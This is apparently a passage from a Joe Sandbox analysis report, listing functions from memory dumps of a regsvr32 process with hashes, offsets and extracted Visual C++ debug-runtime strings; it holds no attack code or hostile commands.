Opcode ID: 9a50b58e01a5729271d6177eeb6adb68723f1c473c55e35b3503dad5704e2603
Instruction ID: a7a624d76b7a6b6a49308da5d267df16e75217d08dbc55e4173753466c7a619f
Opcode Fuzzy Hash: 9a50b58e01a5729271d6177eeb6adb68723f1c473c55e35b3503dad5704e2603
Instruction Fuzzy Hash: 0721A470628780AB878CDF28D49981BBBE1FBC9304F906A1CF9C68B364D7749445CB46

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180001870 Relevance: 1.3, Strings: 1, Instructions: 66COMMON

Download Yara Rule

Strings

ve, xrefs: 0000000180001922

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ve
API String ID: 0-2619166483
Opcode ID: 0af36e16279e0b52c57c96dd2be3cf2d778334959a734097dc29c8b03be7ea9c
Instruction ID: bd1518f744f48cc188204749d08526443734dde3f23549b257c943e1dafbc1e4
Opcode Fuzzy Hash: 0af36e16279e0b52c57c96dd2be3cf2d778334959a734097dc29c8b03be7ea9c
Instruction Fuzzy Hash: 3B217BB16187858BC748DF28C55951ABBE1FBCC318F404B5DF8CAAA360D378D645CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800026DC Relevance: 1.3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

Strings

Hk, xrefs: 000000018000270F

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: Hk
API String ID: 0-2736353058
Opcode ID: f042022579c6dc077ee2635b55382d47991fd87e705928ebfd6682ca687bc5a7
Instruction ID: 887fdeaeec6620913bccc1519bb94b7ab545cc472d3a2f82c737665b3ebe67cb
Opcode Fuzzy Hash: f042022579c6dc077ee2635b55382d47991fd87e705928ebfd6682ca687bc5a7
Instruction Fuzzy Hash: 20319CB4628384AB8388DF28C49981ABBF1FBC9304F806A1DF8868A260D775D445CB03

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000529C Relevance: 1.3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

Strings

@Bp!, xrefs: 00000001800052BA

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: @Bp!
API String ID: 0-2853746471
Opcode ID: ef82bde12d532e04876809b878463bf9d85bf8adc7e5172117a9a71904663532
Instruction ID: a42def5e4906ba5408d95fb28ee36c9633a666dd8c6a1d0dabe2f17b10b73553
Opcode Fuzzy Hash: ef82bde12d532e04876809b878463bf9d85bf8adc7e5172117a9a71904663532
Instruction Fuzzy Hash: 8831F37080034E8BCB44DF64D48A4DE7FB0FB28398F11461AE869A6210D3B48694CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180006308 Relevance: 1.3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

Strings

_&%, xrefs: 0000000180006314

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: _&%
API String ID: 0-276555772
Opcode ID: 8f3b61786a1347c07c3d5db82c2bc2daa848de2eab2d644bf824955350391771
Instruction ID: 84b034befa84842a6d26d9f5413634863003efd6eec9a48b68f2958c9e87747a
Opcode Fuzzy Hash: 8f3b61786a1347c07c3d5db82c2bc2daa848de2eab2d644bf824955350391771
Instruction Fuzzy Hash: C3217BB06187848B8748DF28D45A51ABBE1FBCC308F404B5DF4CAAA360D3789609CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800295C8 Relevance: 1.3, Strings: 1, Instructions: 56COMMON

Download Yara Rule

Strings

V, xrefs: 00000001800295DC

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: V
API String ID: 0-2990084971
Opcode ID: 1782258294aa137d61fe32651e2643f77913c71ff09afc5f450ca4bece25d7e7
Instruction ID: 19a784c3393b647e1d02845cf9d1e0035701b9012461bc7b4b972f754d4b287b
Opcode Fuzzy Hash: 1782258294aa137d61fe32651e2643f77913c71ff09afc5f450ca4bece25d7e7
Instruction Fuzzy Hash: E021ADB4529780AFD788DF28D09981FBBF0FB89304F806A1CF9868B360E3759445CB02

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800229CC Relevance: 1.3, Strings: 1, Instructions: 47COMMON

Download Yara Rule

Strings

fe_, xrefs: 0000000180022A54

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: fe_
API String ID: 0-1346747655
Opcode ID: 656de1a6cae0373b094f44c9878c04d225c006d82b161423a6aec508986bcc20
Instruction ID: 9f8913945123cb4278df7be958afc5fc5d749fa594805d3e5c5ffa2821aade6f
Opcode Fuzzy Hash: 656de1a6cae0373b094f44c9878c04d225c006d82b161423a6aec508986bcc20
Instruction Fuzzy Hash: 25215DB55183818B9348EF28D44A51BBBE1BB8D34CF404B5DF4CEAA260D778D615CF4A

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180022290 Relevance: .1, Instructions: 139COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 690f928848312d3e50bce6c98363679f754364b802b69089bfd2d1cc95353951
Instruction ID: f4bbdddc4ebc6fe898ddfb3184844cd7ab88b5746f894e32bccfd4327ba112cf
Opcode Fuzzy Hash: 690f928848312d3e50bce6c98363679f754364b802b69089bfd2d1cc95353951
Instruction Fuzzy Hash: F751247152078DABDBC9DF28C8CAA9C3BA1FB44754F806219FC468A261D774D5C9CB41

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180008134 Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7876522931334601bd90a80625b7f157024bfeead9eee4300288ec184fcbc12
Instruction ID: d7e3191637b78f1be9ff87ab698ad538cd7d2d45c46478ba59590cd585685a95
Opcode Fuzzy Hash: a7876522931334601bd90a80625b7f157024bfeead9eee4300288ec184fcbc12
Instruction Fuzzy Hash: 5761B1B490078E8FCF48DF68D8595DE7BB0FB48318F014A19FC6696250D7B49A25CB84

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001E2F4 Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88e65efb6d3fa20939ff192da4dfa840d39aac14346873756c43568c41f67993
Instruction ID: f17689cc06c9532d3252f7dc5abd3373f404a3f8166a5e21e79f0a6996b359c5
Opcode Fuzzy Hash: 88e65efb6d3fa20939ff192da4dfa840d39aac14346873756c43568c41f67993
Instruction Fuzzy Hash: 0B41B870608B488FC768DF19D08976ABBF1FB89711F40856EE68AC7351DB319848CB82

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800280C8 Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 485b6be602952e656e1e94650c6f168335af82f45d0d0f5b4aa22a8c646e7c56
Instruction ID: 9422144e28ecc4a9930a11d21f18f8515329dd70f686b1b52883d16e1825d5f7
Opcode Fuzzy Hash: 485b6be602952e656e1e94650c6f168335af82f45d0d0f5b4aa22a8c646e7c56
Instruction Fuzzy Hash: 2A414D34509B588FD768DF28918A75ABBE0FF99310F004A5EE58EC7362D770D949CB82

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180006954 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c92699b14e6c2b4fd34943bfb19e45adab91cb197e26a720392e823bcd093906
Instruction ID: bbd244a3cf3555809e115011e05a98a3e8d5fd40b217627e69400f11bfb30a94
Opcode Fuzzy Hash: c92699b14e6c2b4fd34943bfb19e45adab91cb197e26a720392e823bcd093906
Instruction Fuzzy Hash: 745193B590434ACFCF48CF64D48A5CE7FB0FB68398F214219E856A6250D3B496A4CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180012500 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22d6ccee6f38bff831197d2bb081fadbeca5e8b7e3ae62232a51f5952ffcfbdb
Instruction ID: 8b5374169f69602128bd3032aff790cb1f354843cf4962b6e845d1f3af7287dc
Opcode Fuzzy Hash: 22d6ccee6f38bff831197d2bb081fadbeca5e8b7e3ae62232a51f5952ffcfbdb
Instruction Fuzzy Hash: 9741A0B180078E8BCB44CFA8D84A5DE7BF0FB18358F104A19F865A6250D3B89668CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180022140 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c574afae7ba18edac7d834e0abd82c8c7458f2e927091ead9319fe9aa7316d5f
Instruction ID: c15f1aaae4e4e13c906589d5588e8395ab5dda45948680e718f465f07a8a5b6e
Opcode Fuzzy Hash: c574afae7ba18edac7d834e0abd82c8c7458f2e927091ead9319fe9aa7316d5f
Instruction Fuzzy Hash: EC41C4B190038E8FDF48CF64C84A4DE7BB0FB58358F104619E86AA7250D3B8D665CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180020E40 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4afcbbeb8beafd70164a818e9f41371ad943d797e3468922fcea1c7c9f2e7631
Instruction ID: c896a4b3abc40741a1500648b31ed7fd3e584cfdc10005e9d212c87c64feccae
Opcode Fuzzy Hash: 4afcbbeb8beafd70164a818e9f41371ad943d797e3468922fcea1c7c9f2e7631
Instruction Fuzzy Hash: 2541C1B181035E8BDB48CFA8D48A5DE7FB0FB68398F204619E855A6214D3B496A4CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001C1B8 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6edc2e1e82c131bcdf0495892124b6f46e3b6b242b9e6d8eacab558a4eb6cfc8
Instruction ID: db142853bc0ceb5379a440845187b42230294cb0dc3411c083ed269e5703ce5c
Opcode Fuzzy Hash: 6edc2e1e82c131bcdf0495892124b6f46e3b6b242b9e6d8eacab558a4eb6cfc8
Instruction Fuzzy Hash: E831AFB090034E8FCB48CF68C4865DE7FB0FB58398F114219E85AA6210D3B496A5CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800162BC Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c455d63c0866516b303eef6870e820fc06907d5cf01b5e138b1643b6a977dfc
Instruction ID: 032a8ed253072f6fd1b05e82d0325949fdf78283cb4c6b9cd1929990fdaa7975
Opcode Fuzzy Hash: 6c455d63c0866516b303eef6870e820fc06907d5cf01b5e138b1643b6a977dfc
Instruction Fuzzy Hash: F93195B050078A8BCF48DF68C85A5AE3BB1FB48308B404A2DFD269A350D7B49664CB84

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180021444 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91382f82a540e9ea2bbfb40e05a393f87671ab464d1f075959bb3f3378a52dce
Instruction ID: 9b1437c5de0cc84ebb9c914bb54d42d7cbbf0eefc466e3cb3beb54b329be6ed5
Opcode Fuzzy Hash: 91382f82a540e9ea2bbfb40e05a393f87671ab464d1f075959bb3f3378a52dce
Instruction Fuzzy Hash: E631D5B190034E8FCF48DF68C48A4DE7FB1FB68398F100619E816A6250D3B896A4CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180015F24 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76bccbb128cfcb22620bb2b416fc3ca44309eaef87c6278072ef16f6a50a05e8
Instruction ID: e5161e45e20286f18a7c233b2d95f7c6d50d739ad8bc374cfda940a225cf7d0d
Opcode Fuzzy Hash: 76bccbb128cfcb22620bb2b416fc3ca44309eaef87c6278072ef16f6a50a05e8
Instruction Fuzzy Hash: DD315C305187849BC3999B24C4C925EBEE1FB85399FA0682CF1C3C6264D774C98A8B06

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180026A90 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33d7533839bea32518041b6ca5f29ea3ef2f9d4ceb6278032ee9dcaf63ac5804
Instruction ID: e62117077ddfbae32c834d069a9ab80343e2b26cefae081dcf738b8df2b77597
Opcode Fuzzy Hash: 33d7533839bea32518041b6ca5f29ea3ef2f9d4ceb6278032ee9dcaf63ac5804
Instruction Fuzzy Hash: B22148B56183848BD749DF28D44A41ABBE1FB9C74CF400B6DF4CAAB250D378D649CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001A988 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ecf74b073e9749c9a707f8928f85ed0a2f8ff40eefc5cc2f6539f01074e035d
Instruction ID: 503aa3927fff6e4ad3ec536c6aa42fcab205a0bd32951b21a7cd1c91f46ab624
Opcode Fuzzy Hash: 8ecf74b073e9749c9a707f8928f85ed0a2f8ff40eefc5cc2f6539f01074e035d
Instruction Fuzzy Hash: 3F2150B46187848BD748DF28C45641ABBE1FB9C358F804B2DF4CAA7350D7789A05CF4A

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001DEFC Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9daa26d15846afd04c30d9d8c23f2645a3612f544d511007b76009de9b77635d
Instruction ID: bec49874bf3906a1a9314e610e6330a75ea1af3aa415f07e7967bd5f7b72e726
Opcode Fuzzy Hash: 9daa26d15846afd04c30d9d8c23f2645a3612f544d511007b76009de9b77635d
Instruction Fuzzy Hash: 61215CB16187848BD748DF28D05941FBBE0BB8D358F405B2DF8CAA6351D7789644CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2F7F1 Relevance: 79.1, APIs: 23, Strings: 22, Instructions: 376COMMON

Download Yara Rule

APIs

_itow_s.LIBCMTD ref: 000007FEF9D2F828
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2F855
OutputDebugStringA.KERNEL32 ref: 000007FEF9D2F861
OutputDebugStringA.KERNEL32 ref: 000007FEF9D2F89B
OutputDebugStringA.KERNEL32 ref: 000007FEF9D2F8A8
OutputDebugStringA.KERNEL32 ref: 000007FEF9D2F8B6
OutputDebugStringA.KERNEL32 ref: 000007FEF9D2F8C3
_wcsftime_l.LIBCMTD ref: 000007FEF9D2F939
_invoke_watson_if_oneof.LIBCMTD ref: 000007FEF9D2F991
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2F9EF
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2FA6B
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2FAB2
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2FB1F
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2FB65
_invoke_watson_if_oneof.LIBCMTD ref: 000007FEF9D2FC34
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2FC92
_invoke_watson_if_oneof.LIBCMTD ref: 000007FEF9D2FD69
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2FDB6
_unlock.LIBCMTD ref: 000007FEF9D2FEFE

Strings

_CrtDbgReport: String too long or Invalid characters in String, xrefs: 000007FEF9D2FD78
, Line , xrefs: 000007FEF9D2F8A1
_CrtDbgReport: String too long or IO Error, xrefs: 000007FEF9D2F9AE, 000007FEF9D2FC51
strcat_s(szLineMessage, 4096, "\r"), xrefs: 000007FEF9D2FB16
Pl, xrefs: 000007FEF9D2FD1B
e = mbstowcs_s(&ret, szOutMessage2, 4096, szOutMessage, ((size_t)-1)), xrefs: 000007FEF9D2FD50
strcpy_s(szLineMessage, 4096, szFormat ? "Assertion failed: " : "Assertion failed!"), xrefs: 000007FEF9D2FA62
6o, xrefs: 000007FEF9D2FA85
Assertion failed!, xrefs: 000007FEF9D2FA1A
%s(%d) : %s, xrefs: 000007FEF9D2FBC2
strcat_s(szLineMessage, 4096, szUserMessage), xrefs: 000007FEF9D2FAA9
_itoa_s(nLine, szLineMessage, 4096, 10), xrefs: 000007FEF9D2F84C, 000007FEF9D30084
<file unknown>, xrefs: 000007FEF9D2F884
Assertion failed: , xrefs: 000007FEF9D2FA09
(*_errno()), xrefs: 000007FEF9D2F97D, 000007FEF9D2FC20
strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 000007FEF9D2FC89
wcscpy_s(szOutMessage2, 4096, L"_CrtDbgReport: String too long or Invalid characters in String"), xrefs: 000007FEF9D2FDAD
strcat_s(szLineMessage, 4096, "\n"), xrefs: 000007FEF9D2FB5C
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrptt.c, xrefs: 000007FEF9D2F83E, 000007FEF9D2F965, 000007FEF9D2F9D8, 000007FEF9D2FA54, 000007FEF9D2FA9B, 000007FEF9D2FB08, 000007FEF9D2FB4E, 000007FEF9D2FC08, 000007FEF9D2FC7B, 000007FEF9D2FD38, 000007FEF9D2FD9F, 000007FEF9D30076
strcpy_s(szUserMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 000007FEF9D2F9E6
_VCrtDbgReportA, xrefs: 000007FEF9D2F845, 000007FEF9D2F971, 000007FEF9D2F9DF, 000007FEF9D2FA5B, 000007FEF9D2FAA2, 000007FEF9D2FB0F, 000007FEF9D2FB55, 000007FEF9D2FC14, 000007FEF9D2FC82, 000007FEF9D2FD44, 000007FEF9D2FDA6, 000007FEF9D3007D
Second Chance Assertion Failed: File , xrefs: 000007FEF9D2F85A

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invoke_watson_if_error$DebugOutputString$_invoke_watson_if_oneof$_itow_s_unlock_wcsftime_l
String ID: %s(%d) : %s$(*_errno())$, Line $<file unknown>$Assertion failed!$Assertion failed: $Second Chance Assertion Failed: File $_CrtDbgReport: String too long or IO Error$_CrtDbgReport: String too long or Invalid characters in String$_VCrtDbgReportA$_itoa_s(nLine, szLineMessage, 4096, 10)$e = mbstowcs_s(&ret, szOutMessage2, 4096, szOutMessage, ((size_t)-1))$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrptt.c$strcat_s(szLineMessage, 4096, "\n")$strcat_s(szLineMessage, 4096, "\r")$strcat_s(szLineMessage, 4096, szUserMessage)$strcpy_s(szLineMessage, 4096, szFormat ? "Assertion failed: " : "Assertion failed!")$strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")$strcpy_s(szUserMessage, 4096, "_CrtDbgReport: String too long or IO Error")$wcscpy_s(szOutMessage2, 4096, L"_CrtDbgReport: String too long or Invalid characters in String")$6o$Pl
API String ID: 242677333-579931786
Opcode ID: 90fb5dc47a0cb7e52882a682e6518eda47d2e5e2933cc617357387334d7819cd
Instruction ID: 59d0ad1821d2987490fb14e41c4dc7dbbb96a2632b775096c591c8feb24f6032
Opcode Fuzzy Hash: 90fb5dc47a0cb7e52882a682e6518eda47d2e5e2933cc617357387334d7819cd
Instruction Fuzzy Hash: DF321A3190CA8695EBB0CB18EC543EE73A0F784345FA04125D6CD47AA9DB7EE549CF81

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2B470 Relevance: 40.5, APIs: 7, Strings: 16, Instructions: 260COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32 ref: 000007FEF9D2B4E8
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2B533
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2B5ED

Strings

wcscpy_s(szExeName, 260, L"<program name unknown>"), xrefs: 000007FEF9D2B52A
Microsoft Visual C++ Debug Library, xrefs: 000007FEF9D2B9FC
wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error"), xrefs: 000007FEF9D2B9E8
Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application), xrefs: 000007FEF9D2B921
..., xrefs: 000007FEF9D2B81F
Module: , xrefs: 000007FEF9D2B84A
_CrtDbgReport: String too long or IO Error, xrefs: 000007FEF9D2B9B0
For information on how your program can cause an assertionfailure, see the Visual C++ documentation on asserts., xrefs: 000007FEF9D2B655
memcpy_s(szShortProgName, sizeof(TCHAR) * (260 - (szShortProgName - szExeName)), dotdotdot, sizeof(TCHAR) * 3), xrefs: 000007FEF9D2B5E4
Line: , xrefs: 000007FEF9D2B744
<program name unknown>, xrefs: 000007FEF9D2B4F2
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrpt.c, xrefs: 000007FEF9D2B51C, 000007FEF9D2B5D6, 000007FEF9D2B967, 000007FEF9D2B9DA
Expression: , xrefs: 000007FEF9D2B6BE
(*_errno()), xrefs: 000007FEF9D2B97F
File: , xrefs: 000007FEF9D2B79B
__crtMessageWindowW, xrefs: 000007FEF9D2B523, 000007FEF9D2B5DD, 000007FEF9D2B973, 000007FEF9D2B9E1

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invoke_watson_if_error$FileModuleName
String ID: For information on how your program can cause an assertionfailure, see the Visual C++ documentation on asserts.$File: $Line: $Module: $(*_errno())$...$<program name unknown>$Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application)$Expression: $Microsoft Visual C++ Debug Library$_CrtDbgReport: String too long or IO Error$__crtMessageWindowW$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrpt.c$memcpy_s(szShortProgName, sizeof(TCHAR) * (260 - (szShortProgName - szExeName)), dotdotdot, sizeof(TCHAR) * 3)$wcscpy_s(szExeName, 260, L"<program name unknown>")$wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error")
API String ID: 1949418964-1840610800
Opcode ID: 44b701395b3347ba89d33a25413c6d043cef3cadf6afd38b3a3e0c178ea01b00
Instruction ID: afa63f492d6c70519d8e627b7e85a2bc97528eb7c2a0a9c735d6d19596090ce3
Opcode Fuzzy Hash: 44b701395b3347ba89d33a25413c6d043cef3cadf6afd38b3a3e0c178ea01b00
Instruction Fuzzy Hash: 90F1D636609BC694E6B0DB54E8483AEB3E4F389780F604125DACD43BB9DB7ED194CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2AE40 Relevance: 38.7, APIs: 5, Strings: 17, Instructions: 207COMMON

Download Yara Rule

APIs

Part of subcall function 000007FEF9D2D490: _invalid_parameter.LIBCMTD ref: 000007FEF9D2D541

_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2AE81
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2AF35

Strings

_CrtDbgReport: String too long or IO Error, xrefs: 000007FEF9D2B2F8
m*, xrefs: 000007FEF9D2AE9E
File: , xrefs: 000007FEF9D2B0E3
__crtMessageWindowA, xrefs: 000007FEF9D2AE71, 000007FEF9D2AF25, 000007FEF9D2B2BB, 000007FEF9D2B329
..., xrefs: 000007FEF9D2B167
strcpy_s(szExeName, 260, "<program name unknown>"), xrefs: 000007FEF9D2AE78
<program name unknown>, xrefs: 000007FEF9D2AE40
memcpy_s(szShortProgName, sizeof(TCHAR) * (260 - (szShortProgName - szExeName)), dotdotdot, sizeof(TCHAR) * 3), xrefs: 000007FEF9D2AF2C
Module: , xrefs: 000007FEF9D2B192
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrpt.c, xrefs: 000007FEF9D2AE6A, 000007FEF9D2AF1E, 000007FEF9D2B2AF, 000007FEF9D2B322
(*_errno()), xrefs: 000007FEF9D2B2C7
